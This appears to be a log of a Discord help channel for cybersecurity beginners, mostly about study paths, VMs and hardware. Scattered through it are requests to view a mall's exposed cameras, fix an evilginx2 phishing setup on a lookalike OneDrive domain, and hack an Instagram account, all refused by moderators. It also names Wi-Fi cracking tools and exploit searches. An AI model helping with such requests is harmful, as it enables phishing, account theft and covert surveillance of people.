👥・help-me

[chilly merlin]

Hmm

[honest jolt]

what

no homo man

[chilly merlin]

Yeah got it 👍😂

Cookie can u handle?

ohhh

ok

[chilly merlin]

handle?

check log files, on linux they give the user and the thing changed

revert them

[honest jolt]

wait, can i see mall cameras?

[chilly merlin]

stick to ctf for now bruhh. these guys are sparing their time for you

[honest jolt]

this is question on tryhackme and i think the answer needs to be specific thing i dont get it what should i put there

[honest jolt]

real

[chilly merlin]

u have to

figure that out

[chilly merlin]

does THM have room IDs

[lean lance]

He on day 1 of cyber security. So he is just now grasping the basics of CTF like challenges

[honest jolt]

everyones telling me that, i am way too dumb fr. i readed like 5 times still dont get it

[chilly merlin]

whyyyy

@honest jolt do walkthroughs man

dont go in a ctf with no knowledge

ctfs are challenges that u arent equipped to do

[lean lance]

Yeah start with Introduction rooms, you are way to far in for your knowledge tbh

[honest jolt]

this is where tryhackme put me on

i registered started

and now here

like i started from 0 basics?

[chilly merlin]

Cyphr give him what to start with

[lean lance]

https://tryhackme.com/r/path/outline/introtocyber
https://tryhackme.com/r/path/outline/presecurity
https://tryhackme.com/r/path/outline/beginner

[chilly merlin]

What's is bro asking

Mall cameras?

[honest jolt]

yeah you know mall?

right shopping places

centers

[lean lance]

Yes, there are camera's exposed to the internet with weak security

[chilly merlin]

@honest jolt start with linux then network then ping me when u are done

[lean lance]

But don't go looking, not very ethical either way

[chilly merlin]

Well i live in earth so yes

hmm don't know if mall cameras are easy to find exposed on the Internet either way

[lean lance]

With the right filters and dorks and certain platforms, quite easy

But enough about that. It's about CTF 😄

[honest jolt]

listen

can you find tbilisi galeria mall cameras?

[lean lance]

Start here ^ @honest jolt

[honest jolt]

like just tel me is it possible

[honest jolt]

which one? there is 3

[chilly merlin]

@honest jolt do not ask again i won't repeat myself

[honest jolt]

what am i asking wrong?

[chilly merlin]

About mall cams

[honest jolt]

what?

[chilly merlin]

@chilly merlin explain this guy

[lean lance]

Accessing any camera exposed to the internet is not something we talk about here. There is alot of camera's exposed to the internet due to misconfiguration.

[honest jolt]

okay if not here what about dm?

[chilly merlin]

stop asking unethical stuff. you gonna get yeeted (prob be red's first ban ) 😗

[chilly merlin]

If he keeps poking......

[honest jolt]

mybad i just wanted to find myself

[lean lance]

That would be soliciting members

Just stop about this, focus on learning actual valueable stuff

[chilly merlin]

not helping either

[honest jolt]

okay got it

[lean lance]

Start with the things I gave you

[honest jolt]

yeah but there are 3 links

which one

all of them together?

or first first one

[lean lance]

Well all of them, you start with them

[chilly merlin]

@honest jolt ^^^

[lean lance]

Start with intro to cybersec

[chilly merlin]

That's the thing in cybersec peep are getting more into this by intentions of black hat

[chilly merlin]

We'll see where they end up 😽

[quasi berry]

Wait until you all realise that we're in #👥・help-me and not #💬・old-gen-chat

[lean lance]

Well It was all about helping

[honest jolt]

to be honest i wanted cuz i talked to a girl there 😄

istg

[lean lance]

But it started going different direction

[chilly merlin]

it still is.....

[honest jolt]

dont really care about mall cameras

[lean lance]

That is more creepy and stalking then anything else..

Go on topic now please. Start with learning

[chilly merlin]

Cookie is a man btw

[honest jolt]

not stalking LOL she started talking to me

[quasi berry]

So basically you wanted to access a camera because you met a girl there?

[lean lance]

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[quasi berry]

To find out who that girl is?

[honest jolt]

how the fuck am i supposed to find out who girl is? by looking at mall cameras

?

i just wanted to see what she looked like 😄

[lean lance]

Then why bring it into the convo?

[quasi berry]

Yeah that'd get you on a block list real quick

[chilly merlin]

@honest jolt better to drop the topic

[quasi berry]

Relax, I asked him a question lol

[lean lance]

We were having a constructive conversation about start in CyberSec. Now it's going off rails for no reason

[chilly merlin]

Idk he is kinda rude to u

[honest jolt]

fuckno i dont want any cameras anymore LOL

[quasi berry]

Eh it's fine; it'll go back to constructive convo now

[honest jolt]

well i am not trying to be

[lean lance]

Well, go start with the THM links

[lean lance]

Wasn't targeted at you btw 😄 Just saying that to him

[chilly merlin]

Looking out for a fellow mod that's it

[quasi berry]

I know dw

[chilly merlin]

What’s the best extension for a browser such as brave ? ADGuard, No script, uMatrix, uBlock Origins??

[lean lance]

Privacy Badger, uBlock

Or just use Librewolf like a true OG

[honest jolt]

@lean lance Introduction to Cyber Security
i have dont 1 section of this

done

"

[quasi berry]

1. Chameleon?
2. Privacy Possum
3. Ublock Origin
4. NoScript
5. LocalCDN | DecentralEyes

[quasi berry]

Yesss

[chilly merlin]

@lean lance better to take him from linux basic then networking and thm rooms maybe

Since a complete Rookie

¯_(ツ)_/¯

[honest jolt]

guess i might just stop LOL

[lean lance]

1. Learn Linux basics
2. Learn Networking fundamentals
3. Start with all easy introduction rooms/paths

[chilly merlin]

Giving up?

[honest jolt]

okay that sound bad

starting again

[lean lance]

Well that is not the mindset of a future hacker 🙂

[chilly merlin]

I'm noob as well dw

[honest jolt]

god didnt send me to "give up" LOL

[lean lance]

Same

[chilly merlin]

Crawling

[lean lance]

That's the spirit

[chilly merlin]

I'm the god

[honest jolt]

yeah oneday imma hack you the red serpent

[chilly merlin]

Good luck

[lean lance]

Lmao

[honest jolt]

thanks

[chilly merlin]

May take years

[lean lance]

Be careful with those kind of words here, just saying 🤣

[chilly merlin]

10 prolly

[chilly merlin]

😂what makes you think so

[chilly merlin]

Thought u as girl trying to rizz u

[honest jolt]

nah months

[chilly merlin]

Ban?

[honest jolt]

wait how old are you?

[lean lance]

Alrighty, lets not fill up this chat with CHATTER. Move to #💬・old-gen-chat for that. I'm out byeeeee

[chilly merlin]

Hmm

[honest jolt]

???

[chilly merlin]

Wat

[honest jolt]

is it private?

[quasi berry]

#💬・old-gen-chat

#💬・old-gen-chat

#💬・old-gen-chat

#💬・old-gen-chat

Go

Shoo

[chilly merlin]

Bro spamming

[chilly merlin]

nope. just going through a different angle

[lean lance]

@honest jolt

1. Learn Linux basics
2. Learn Networking fundamentals
3. Start with all easy introduction rooms/paths

Now please, for chatting, go to the correct channel.

[chilly merlin]

@honest jolt consider learning from https://netacad.com

for net fundamentals

[rose lark]

I feel lost. I'm learning how to use Nmap and Metasploit framework but Idk what's next nor how to use the knowledge I acquired up until now. I know how to do a scan with Nmap and see which ports are open and which aren't and search for any exploits for outdated software in Metasploit, but how would that be beneficial in a real pentest? Don't people and companies update their software frequently anyway? Would they need me to hack their networks to know that they should update or something?
I also don't know what's next? What should I learn next?

[chilly merlin]

many don't update frequently it could be that the new patch isn't compatible with other services, or that the new patch is not stable, or people pushing it back constantly for whatever reason

[rose lark]

What would be the solution in these cases?

[chilly merlin]

Isolated or segmented on a gapped network (one example)

There is a lot more to red teaming besides just the tools, for starters I would strongly recommend learning about entry level networking

basically. boomkaboom answered it in a shorter sentence than what i was about to do. here's a gold star ⭐

[wooden hinge]

You would be surprised.

Emotionalsupportcarwash.jpg

Oftentimes the most confounding problems come from the simplest mistakes.

[rocky moth]

Raising an issue, which maybe not on the correct channel (please redirect)…
Won't even tackle the fact how that might impact new devs. ...

Some scammers are now creating YouTube videos taking advantage of people who look up for intel there prior to being exploited…
We can’t change the platform policy but we could chase that people if you all agree

Overtime won’t make a difference (I believe) but we could tackle 10/20% of those and plan all to be dropped at the same time.

They wouldn’t know who did it nor why!
It would be dissuasive for sure!!! Even if only for a short period
I am the best coder but I do know how to exploit people's vulnerabilities.

[nocturne cliff]

This chat seems interesting.

[crystal lark]

First understand why you are using those tools, then use those tools. You do not even know why are you using them to an extent. Go with this methodology of Research -> Setup -> Practice
Learn about the tool and how is it useful in real-life scenarios, set up the environment for it (practice labs on TryHackMe) and then practice using that tool. Metasploit is used for many other purposes. Feel free to research on it yourself and take notes. You can also check out TryHackMe's pathways for Beginners. They have a fixed set of labs to get you started

[chilly merlin]

https://nooblinux.com/metasploit-tutorial/

https://youtu.be/f6gwr333RZM?feature=shared

[wicked sorrel]

can someone help

i am tryna use evilginx2

but when i enable my phishlet

it gives me an error

it says failed to setup TLS certificate

[chilly merlin]

did u try using ai

i mean asking for help

[wicked sorrel]

oh wait yeah

still is not help me fix it

[chilly merlin]

wait someone to come online

[chilly merlin]

@lean lance

[lean lance]

@wicked sorrel What exactly is your purpose/intentions with Evilginx2?

[chilly merlin]

he was asking for a phishing tool earlier to "test on himself "

[lean lance]

Yes, I know. I've been reading all his messages. But I was hoping for an honest answer now 🙂

[wicked sorrel]

Ethical use

[wicked sorrel]

and also Skill develop ment

[lean lance]

Interesting domain you have for "ethical" use

[chilly merlin]

haa

[wicked sorrel]

its fr for ethical use and skill development

[chilly merlin]

what are you testing on?

[wicked sorrel]

vm

[lean lance]

Why such a specific and misleading domain if you are just setting it up for testing and learning?

[wicked sorrel]

just tryna make my skills bette

better*

[lean lance]

You can do that without a domain that resembles a download link from Microsoft for Onedrive

[chilly merlin]

develop a tool

[wicked sorrel]

me?

[wicked sorrel]

im a script kiddie but i am trying to learn python to develop me own tools

[maiden violet]

I want to learn cypherlang

[lean lance]

If you're a beginner looking to genuinely learn and develop your skills, it's essential to start with mastering the basics. Jumping straight to using tools like evilginx2 to create fake Microsoft download links for OneDrive won't teach you anything meaningful; it’s simply engaging in unethical activity. We cannot assist with troubleshooting such actions, and encourage you to focus on building a strong, foundational knowledge instead.

[twin harness]

I made a github repo, when i try and git clone it, it asks me for a username and a password, how can i remove this?

Nevermind, figured out it was because the repo was private

[chilly merlin]

Has been warned multiple times if he comes up again lmk

[crystal otter]

hiii guys can u teach me how to hack a Instagram account

[lean lance]

N to the O, No

Read the #📜・rules and #1286135820008296509

[crystal otter]

ohh sorry I didn't know

[chilly merlin]

https://tenor.com/view/the-outpost-gerard-miller-aster-meditate-meditation-gif-23368946

[languid marten]

anyone ever exploited "53/tcp open domain dnsmasq 2.78" before? Need help remote connecting to this server for my midterm

[crystal lark]

Search for it on exploit-db or cvedetails

[lean lance]

One Google search for dnsmasq 2.78 vuln = https://www.tenable.com/plugins/nessus/103647 with all CVE

[chilly merlin]

These are vulnerabilities prior to 2.78

2.78 does not have public exploits afaik

[lean lance]

Ah my bad, didn't read that properly 😬

[gloomy radish]

Great advice. Folks try to skip fundamentals all the time because it’s often boring. But, without strong fundamentals you’ll constantly get stuck at the intermediate and advanced levels.

[grave sedge]

hey @lilac granite so that's the problem i'm facing rn

[gloomy radish]

What is your networking knowledge level?

[rose lark]

0

[twin harness]

i have enabled monitor mode, but according to fern, i havent

help

[chilly merlin]

Dw bro's

Will get there eventually

[chilly merlin]

@lean lance

[lean lance]

I'd suggest using Wifite or airgeddon instead. Fern is quite buggy and not actively maintained

[gloomy radish]

Then I’d suggest starting with Network+ from CompTIA, then coming back to these advanced concepts and tools you’re trying to use. It will make understanding these tools and usage waaaay easier.

[rose lark]

You mean the course that costs thousands of dollars?

[twin harness]

the rockyou.txt is there but its saved as "rockyou.txt**.gz**" how can i make it a txt without corrupting it?

[lean lance]

gzip -d file.gz

[twin harness]

would i run that in root or normal terminal

[gloomy radish]

Network+ doesn’t cost thousands of dollars. It’s literally a self study guide which is less than $100, and a certification exam that costs $358!

[lean lance]

Normal should be fine in that specific directory

/usr/share directory is usually user accessible

Hence the /usr 😄

[chilly merlin]

Oh nvm

[lean lance]

Yes, we already are here

😄

[twin harness]

It works, thanks :)

[lean lance]

No problem 🙂

[rose lark]

Oh, I thought you were referring to something else from comptia. Anyway, it's still very expenisve for me.

[gloomy radish]

If money is an issue, there are still many free ways to get the knowledge.

1. If you can afford the study guide/book, get that and absorb it cover to cover.
2. There’s Professor Messer’s site with free videos for A+, Network+, and Security+
3. Exam Compass website has free quizzes and complete practice exams
4. YouTube has thousands of free videos on networking and just about any other topic
5. How Stuff Works has an excellent website to learn how just about anything works

These are a good start to get you rolling.

[twin harness]

How can i start networkmanager back up?

in kali

[chilly merlin]

sudo systemctl start NetworkManager

[indigo nimbus]

Can I get some help with a VM here?

specifically a Win11 VM on VMware

I boot it up and it freezes after a couple minutes

My Kali VM is working just fine (also on VMware)

[chilly merlin]

Doesn't v m ware discontinued?

[indigo nimbus]

I don't think so?

In my college we've been using pretty much nothing but VMware

all works fine in the classroom

[lean lance]

Def not

Do you have enough resources dedicated to the VM?

[chilly merlin]

It is available but not officialy i mean no further updates

[indigo nimbus]

8GB ram, 4 cores, 100GB of storage

[lean lance]

Hmmm it seems they have discontinued

[chilly merlin]

Told ya

Pro is way

[lean lance]

But still it doesnt mean it's obsolete

[chilly merlin]

Can still download from internet third parties

[lean lance]

They are however discontinuing all licenses

No third parties

Broadcom itself

[chilly merlin]

Yes

Need to make an account

The process is shit

[chilly merlin]

can someone make me a telegram api

mine wont work

thats what ineed help with

[chilly merlin]

hi can you help me with something pls

[lean lance]

Depends, whats up

[chilly merlin]

can i code .bat files on chromebook?

it sounds dumb but i wanna code but my windows pc is broke rn

[lean lance]

You can code it on chromebook, executing however, no

[chilly merlin]

what tools can i use to code on chromebook?

and how do i run the linux

it never works

[lean lance]

VS code

[lean lance]

What do you mean?

[chilly merlin]

u can run linux on chrome book but whenever i try it never works

[lean lance]

Hmm I wouldnt know, I don't use chromebooks

Try this vid: https://www.youtube.com/watch?v=LX6jP5zpNHo

[chilly merlin]

ty

[modest sun]

Hi, I just moved in to student accommodation and I cant seem to get my VM to use Bridged network settings, I think its something to do with how the network is configured to assign ip addresses since lsconfig doesnt show an ipv4 address. Ive tried adding the MAC address of the VM as a device on the network but it still isnt working, does anyone know a fix / workaround. Ive just started learning cybersecurity so all help will be appreciated.

[chilly merlin]

dm me

[indigo nimbus]

Update: turns out giving it 4 cores was a mistake, 2 cores works perfectly it looks like

[chilly merlin]

Python noob here, noob at most stuff honestly. I'm trying to import the "blake3" module in VIsual Studio Code but it has a yellow underline and says that "import blake3 could not be resolved" for some reason. I did try running "pip install blake3" in the Visual Studio Code terminal, and in my normal windows powershell window, but neither of those seem to work. I've read it might be something to do with having to set a path or something like that, but really I have no idea. Could someone point me in the right direction to troubleshoot this, or let me know what I'm doing wrong? I'm using Python 3.10.6 if that makes a difference.

[minor willow]

Chrome books don't support other operating systems, get a Laptop
With window's or Mac operating systems

[chilly merlin]

lol how much ram did you allocate

[chilly merlin]

dont they work with vms

[indigo nimbus]

I have it at 8GB ram, 2 cores, 100GB storage rn and it's workin

[chilly merlin]

how many cores is your main<

[indigo nimbus]

8

[minor willow]

I don't think so

[lean lance]

Not exactly true: https://chromeos.dev/en/linux

[quasi berry]

Nope

[waxen prairie]

No atleast give it 3-4 cores

If you wanna use it

[indigo nimbus]

4 causes the vm to freeze after a minute

[waxen prairie]

How much ram is used by your pc check it

If it needs more than 4 to work then yah ur screwed

[echo talon]

It probably is a path issue I don't use visual studio code but you can try pycharm or something if not I'm sure there is a post somewhere on the internet that explains the correct path and how to set it.
Additionally, I would update Python that never hurts

[dry flame]

Hi @crystal lark can we move here since I want to have an off topic discussion

[crystal lark]

Sure

[dry flame]

I am assuming you use linux as your base OS but have you ever had your hands dirty with the Windows terminal?

[crystal lark]

I have

[dry flame]

Can you provide me with a tutorial similar to Linux for a windows terminal, I have understood a good amount of Linux's terminal but want to see what window's terminal is capable of.

[dry flame]

When I say a good amount, I mean I was able to install Arch XD

[crystal lark]

You can find CMD cheat sheets easily on Google. There are a lot of commands and description on what they do. Go through a read

[chilly merlin]

I have a MacBook from long time ago and a windows pc but I can’t use the pc and idk bout the MacBook

[dry flame]

Cheat sheets are something that I despise if I am not well versed with the core concept of a tech or anything for a matter of fact. And they do not help me understand how is window's terminal different to linux's

[crystal lark]

What exactly do you want to know about it? Do you want to know how to use it or do you want to know how it works?

[dry flame]

The workings of it

Hi @crystal lark react to this if you're still typing

[crystal lark]

I haven't reverse-engineered cmd.exe yet to tell you the exact syscalls and the usage of NTAPI but it works as a system application which performs user/system tasks within reach. Like how Linux terminal works, CMD works the same way but it instead uses Windows functions instead of Linux's. Example, if you type an internal command "dir", it will use cmd.exe to display you the list, if you type ipconfig, it acts as an external command and executes ipconfig.exe. Like bash in Linux, it interprets Batch for Windows. Other important thing is it heavily relies on environment variables and always looks at predefined paths for executing commands

There are a lot of different functions

[dry flame]

So essentially when we call a function in Linux we are using the binaries that we installed during the system setup but in windows during the system setup terminal sets a .exe type thingy to access those commands rather than accessing the binaries?

[crystal lark]

I'm not sure what you mean. Binaries as in cmd.exe, ipconfig.exe, etc? Linux has those too, in the /bin, /sbin folder, same as Windows

Not .exe of course. Linux compatible version like ELF

[gloomy radish]

In Windows Terminal you can also use Linux commands if you have Windows Subsystem for Linux installed.

[chilly merlin]

is there a place i could find good resources to learn?

[gloomy radish]

Google. YouTube.

Microsoft Learn.

[chilly merlin]

yeah i know but i dont know what to actaully search for as im completely knew to cyber security ive only previously had an interest in coding

[lean lance]

Well start with:

https://github.com/migueltc13/TryHackMe
https://tryhackme.com
https://hackthebox.com

And when you feel like only consuming information first:

https://www.youtube.com/watch?v=3FNYvj2U0HM&list=PLLKT__MCUeixqHJ1TRqrHsEd6_EdEvo47

[chilly merlin]

thank you <3

[lean lance]

Plus I'd advice building on your Linux and networking fundamentals as well

[chilly merlin]

i have arch btw on my main pc

arch btw

[lean lance]

https://tenor.com/view/arch-linux-arch-linux-gif-25380879

[chilly merlin]

been about a week so far going strong

[lean lance]

Nice bro

[chilly merlin]

only downside is no kernal games unless i dual boot but i lowkey dont play games anymore since i started college

[lean lance]

Depending on what game, alot runs on Linux

[chilly merlin]

val/fortnite/cod

[lean lance]

Yeah ok, fucked

[chilly merlin]

but i dont enjoy any of those anymore

[lean lance]

Anti-Cheat is barely compatible on Linux

[chilly merlin]

i downloaded some actually good games

GOW of steam cos its goated

and Res Evil 2 remake also runs amazingly

from other sources

[lean lance]

Steam Proton is very decent, changed the game

[chilly merlin]

genuinely has

just used lutris for RE2 cos it was repacked so

but it ran perfectly out of the box

[lean lance]

Ah Lutris, I forgot about that one

I've found some games actually run smoother on Linux compared to Windows

Kinda hilarious

[chilly merlin]

genuinely ive found every game to run better on linux

my laptop doesnt have a gpu just an integrated one but it ran games on linux at playable fps and on windows it couldnt even open

i mean it is a good laptop tho i have 32 ddr5 and an intel ultra 7 155H

[lean lance]

Currently run alot of games on my iGPU as well

[chilly merlin]

W

[lean lance]

Oh lol I didnt even notice this is the helpme channel, epic fail. Lets keep chatting to #💬・old-gen-chat 😄

[chilly merlin]

oh whoops

[gloomy radish]

Just start with Security+ videos. That will govern you a solid grounding in cybersecurity

[gloomy radish]

I do believe that since he’s completely new to cybersecurity (as he mentioned), the hacking tutorials may be above and beyond the stage where he is right now. Some theory and lower level practice is more appropriate for him at this stage. Hacking and pentesting are actually intermediate level tools and techniques.

[chilly merlin]

Yeahh I’m only familiar with like the basics of networking from a school level standpoint and a few extra bits

[gloomy radish]

CompTIA Network+ is a very good course/cert to start with. Obviously, you can also search YouTube as well for a massive amount of networking videos for beginners too

[cedar radish]

vuhhnhb

[chilly merlin]

?

[dry flame]

I have too

[lean lance]

Absolute chad

[dry flame]

Not so much, I set it up on VM 😭😭😭

[lean lance]

https://tenor.com/view/toby-cry-phone-spider-man-cry-phone-spider-man-phone-toby-phone-gif-12875606672124040541

[dry flame]

But without the archinstall 🗿

https://tenor.com/view/mood-dance-russiankiddance-club-dancevibe-gif-21421102

[lean lance]

https://tenor.com/view/mujikcboro-seriymujik-gif-24361533

[dry flame]

Yessir

[still zinc]

hello there

i am a computer science student in college and only know teeny bit of python for exams only

i want to start a journey to become an ethical hacker

hopefully you guys will help me

my laptop is asus tuf gaming fx505 with ryzen 7 3750H, 100gb of free storage and 32gb ram. hopefully that meets the requirements because i don't know what hardware is needed for hacking

[compact hollow]

Best spec would be 4gb ram with i3 intel core, and hdd 500gb, but yeah yours will also do.

[still zinc]

thanks XD

soo are there any lectures or mentors

?

[compact hollow]

you just starting out?

[still zinc]

yes

i don't know ALOT of python but some some

[compact hollow]

So you wanna learn only python for now or any thing else in your mind?

[still zinc]

whatever will get me on track to become a better ethical hacker

winning hackathons and etc

[compact hollow]

then you should first start with linux basics and if you wanna learn some malicious python then start from here:

https://denizhalil.com

[still zinc]

love you bro

[compact hollow]

No problem, have fun learning

Hello, Im trying to learn some x86 asm debugging using gdb and I stuck at a command. So heres what is happening, I wrote an asm program that prints " hello world". I loaded my asm program in gdb and wanted to execute each line of my main label one by one. So i put a break main and it worked correctly but when i tried to execute next instruction with step command, it executed entire main label like if i typed next command. Can anybody help me how can i fix this problem?

[compact hollow]

I did run before using step command.

yeah thank you for posting this

[shy crest]

I'm new here and hoping to start learning ethical hacking, please what are the requirements to get me started I mean tools for pc

[chilly merlin]

Take a look at thm complete beginner path

[shy crest]

OK thanks for responding. Please how can I navigate to the path?

[chilly merlin]

Sign up to TryHackMe platform

Wait

[shy crest]

Ok

[chilly merlin]

Click on learn v and paths

Good to go

[shy crest]

I appreciate thanks

🥰

[chilly merlin]

#👥・help-me message

[chilly merlin]

hello d6.. could you also add the a link to the github repo with the free THM roadmap

[vague tusk]

I’m looking for a laptop that can handle cybersecurity tasks, focusing heavily on decryption, brute force, and other intense processing work. The battery life must last between 6 to 8 hours under heavy load, not just for basic tasks like writing or watching videos. I don’t want a MacBook since it’s not ideal for security work and doesn’t give the permissions I need, especially for Linux setups. I need recommendations for a powerful laptop built for security testing, not video editing or motion graphics. A lot of laptops advertise 16-18 hours, but when it comes to intensive tasks, they only last 3-4 hours, which isn’t helpful.

[lean lance]

ThinkPads are great

[chilly merlin]

Oh hell nah

[lean lance]

Oh hell yes

[chilly merlin]

@vague tusk You should know the laptops you see advertised aren't tested with tasks that you want to carry out

[lean lance]

Used alot in the cybersec space as well

[chilly merlin]

Mine's hp victus

[lean lance]

Also decent

[vague tusk]

Can u please suggest anyone?

[chilly merlin]

Hard as hell

[chilly merlin]

yeah. just that FN + CTRL are opposite

[vague tusk]

Yeah, this is why i am asking here so i may find someone who have a laptop like that

[chilly merlin]

Hmm..are you looking for a slim lightweight PC? or just a very powerful PC in general

[vague tusk]

I got hp omen 15 and its battery is so bad

[lean lance]

With that hardware, ofcourse

The beefier the more power it needs

[chilly merlin]

it's not bad 👀

[vague tusk]

Powerful then battery then lightweight of possible

[lean lance]

Not saying that, but with power demanding hardware, the battery will obv drain faster

[chilly merlin]

Power sacrifice battery

[lean lance]

I have an old ThinkPad X1 Extreme Gen 4

[chilly merlin]

check out pcs made by System76. they are custom designed for linux

[lean lance]

Works wonders still

[vague tusk]

But i need both, like macbook, but i dont want macbook moreover macbook last more than 8 hours

[chilly merlin]

Can anyone handle this

I'm in journey

[chilly merlin]

https://system76.com/laptops
you can also pick the specs you need and build your pc

[lean lance]

IdeaPad 5 with Ryzen is also great battery life, i've heard

[vague tusk]

U mean laptop?

[chilly merlin]

yeah. laptop. mi lazzy to edit

[chilly merlin]

hav you heard of sys76 pcs too?

[lean lance]

ThinkPad T480 with hot-swappable batteries, also great option @vague tusk

[lean lance]

Yeah, makers of PopOS

[chilly merlin]

yh

When installing kali and launching it. Do I need a VPN or VM protects me? And when I am in do I set up proxychains right away?

[twin harness]

Are you installing kali in a vm?

[lean lance]

VM and VPN are two very different things. VM provides isolation, a VPN encrypts traffic and hides your own IP

[chilly merlin]

yes

[twin harness]

Okay

ProxyChains are usually used for applications like Burp

[chilly merlin]

Alright.

[chilly merlin]

@chilly merlin ^^

[chilly merlin]

Okay

[twin harness]

ProxyChains route your network traffic across multiple proxies, allowing privacy and anonymity

[lean lance]

I'd suggest looking up some basic knowledge on these two terms

[chilly merlin]

Doing it rn actually. Just wondering do I gotta use VPN in kali or nah?

[lean lance]

Well a VPN never hurts, but it's not a necessity.

[twin harness]

Not really, unless you want privacy or security

[chilly merlin]

It just slows everything down by 1000x 😭

[lean lance]

A decent VPN would def not

[chilly merlin]

so I have probs with youtube and I have video what prob it is but I can't even send here

[chilly merlin]

I use the avast 1 (It's shit)

bcs I have it on free trial rn

[lean lance]

Free VPNs will always suck

[chilly merlin]

i paused youtube video and now when I try to unpause it wont unpause, I tried restarting pc, in task manager but it's same problem

[lean lance]

Buy Mullvad or PIA

[twin harness]

Proton VPN can be decent at sometimes

[vague tusk]

System 76 will not be good for me bcs it will be hard to fix it

[chilly merlin]

when I turn on youtube over again it just pauses automatically

[chilly merlin]

hmm true

[late zinc]

so if someone here rooted some xiaomi devices do u know if i can use the same account for multiple devices?

[chilly merlin]

consider thinkpad then

[late zinc]

like to have them root at same time since i have to wait 1 week

[lean lance]

@vague tusk Check what I mentioned you on, you can hotswap batteries

[twin harness]

use task manager and try diagnose the problem, is it taking up too much memory or cpu?

[lean lance]

Plus it has long battery life already

[twin harness]

Also check background tasks

[vague tusk]

What about this
@lean lance @chilly merlin

Lenovo ThinkPad X1 Extreme Gen 6
• CPU: Intel Core i7 or i9 (up to 11th Gen)
• RAM: 32GB or 64GB
• Storage: Up to 2TB SSD
• Battery Life: Around 6-8 hours under heavy processing
• GPU: NVIDIA GeForce RTX 3060 (not necessary for security tasks but available)
• Pros: Durable, great battery life, powerful performance, good for Linux.
• Cons: Expensive with higher configurations.
2. HP ZBook Fury G8
• CPU: Intel Core i7 or i9, Xeon options available
• RAM: Up to 128GB
• Storage: Up to 2TB SSD
• Battery Life: Around 7-8 hours for intensive workloads
• Pros: Highly configurable, workstation-class hardware, good for Linux.
• Cons: Heavier than consumer laptops.

[chilly merlin]

memory 76% and cpu only 5-10%

[vague tusk]

I compared them either this two laptops, but chatgpt said this 2 is better

[twin harness]

Whats your browser and what is occupying all the memory?

[chilly merlin]

on any day. I'm choosing a lenovo over hp

[chilly merlin]

avast security... and it shors that discord takes +400mb memory than all others

[chilly merlin]

the zbook don't even have a gpu..

[vague tusk]

Hmmm

[lean lance]

I have the first one, except 2 gens older. Very solid

[twin harness]

Try clearing your browser cache or checking your internet connection with a speed test (ookla is the best)

[vague tusk]

It really last to 6 and 8 hours?

[lean lance]

Doesn't really need one,

[chilly merlin]

you're gonna need one if your carrying out heavy cybersec activities daily.

[chilly merlin]

hold up im running now my speed

test

[lean lance]

Not really, tbh

Plus GPU will only drain battery faster

[vague tusk]

I am not, i am studying yet, but i want something to survive, to at least change it or upgrade it after minimum 5 years

[chilly merlin]

having problem with it

getting errors on speedtest xd

[twin harness]

Thats most likely the problem

[chilly merlin]

A socket error occurred during the upload test. A firewall could be blocking the connection or the server might be having some issues. Please try again later

[twin harness]

try going on another site

like amazon or something

[lean lance]

Seems more like your connection is shit atm

[chilly merlin]

bruh just close the browser and reopen it

[twin harness]

he has

[chilly merlin]

i did

i restarted even my whole pc

[lean lance]

Restart your router perhaps

[chilly merlin]

alr i will try to restart it

brb

[twin harness]

could just be his wifi adapter

might be shitty

[chilly merlin]

it always worked pretty well I've never had this problem

[chilly merlin]

can you load other websites besides YouTube

i just stopped my youtube video and couple mins I tried to play the video and it just kept being on pause mode

[chilly merlin]

yeah

hold up my router is loading rn bcz i did restart

[twin harness]

Try using another browser like chrome

[chilly merlin]

alr wait i will try to go to yt rn

[twin harness]

Are you messaging on your phone or pc

[chilly merlin]

now phone but im using pc

hmm i think with my browser problem

because on chrome it works

youtube

[twin harness]

Problem solved

[chilly merlin]

yes sir and ty

[lean lance]

https://tenor.com/view/imagination-spongebob-squarepants-dreams-magic-gif-12725683

[chilly merlin]

yep and it started working on that browser too

[twin harness]

check if your other browser needs an update, that mightve been the problem with it

[chilly merlin]

bruh i tried to pause it and um...

alr

[lean lance]

Router restart can do wonders

Especially shitty ones

[twin harness]

I dont think it was the router

because he was messaging from his pc before

which means he was running of wifi

[chilly merlin]

i use ethernet on pc

but yeah it comes from router

[twin harness]

and the messages got to us, implying it was connected to the internet

[lean lance]

It most likely was

[chilly merlin]

and it shows that my browsers is up to date

[chilly merlin]

n he could reach other sites

[twin harness]

your browser must be shit then

[lean lance]

It doesnt mean he didnt have no internet at all

[chilly merlin]

yep it got stuck again when i tried to pause it

[chilly merlin]

its on chrome now too xd

[twin harness]

https://tenor.com/view/david-gif-719209025507872673

[chilly merlin]

and even all my updates are up to date

[twin harness]

Does it not?

[chilly merlin]

I guess i will be without music

[twin harness]

I was referring to ones like tor, which actually give you some privacy, but there are other ones used for testing, etc

[twin harness]

I cant really think of anything else, I think all you have to do is pray that youtube works eventually

[chilly merlin]

i will try to delete data of browser it maybe will work

nah it didn't...

[twin harness]

I kind of class them as the same thing

[lean lance]

Oh. My. Word

[late zinc]

can i use same xiaomi account to root 2 devices at same time?

[chilly merlin]

@twin harness So I opened statics for youtube and connection speed is 4352 Kbps

[chilly merlin]

stats for nerds
that statement still hit me

[chilly merlin]

well if u want to find ur problems on networks and etc u need to use stats

its not for nerds

Bruhh yt literally states it there

[twin harness]

Couldnt relate to you more

[twin harness]

what quality are you running on yt?

[chilly merlin]

@lean lance is this a bad thing?
You acknowledge and agree that (i) we retain complete editorial control over the Application and may alter, amend or cease the operation of the Application at any time in our sole discretion without notice to you
read it in TOS of a service

[lean lance]

Quite common in terms of service agreements, particularly with software applications, but whether it's "bad" depends on your perspective and how it might impact you as a user.

It just means the application can be changed, or discontinued at any time without notice to the user.

[chilly merlin]

oh thats warming.

[chilly merlin]

i fixed it

only thing i needed to do

is shut down pc and wait like an hour and now its working xd

[lean lance]

More like a placebo effect

[chilly oar]

Does anyone have simple video/text resources to convince my older mother that she hasn't been hacked? I really don't have the patience to explain the basics of comp sci to her, but I can clearly tell after multiple scans of her pc and iphone that shes just not saving documents properly etc..

[chilly oar]

I've also sent her some basic tech literacy/phishing vids i found on youtube... but im just not a good teacher

[lean lance]

Go through the process of properly saving files, make her problem go away.

Best solution

You'll just overload her with things she doesnt understand

[chilly oar]

Yeah I've let her know that I could backup her stuff then overwrite her storage to give her a frsh star... the problem is that I don't think she's been hacked in the first place and I think it will just happen again. It's causing her a lot of distress

[lean lance]

Go through the process of properly saving documents, or what ever it is she is doing wrong.

Probably the most simple and effective solution

You could even make a screenrecording so she can watch it back at any time

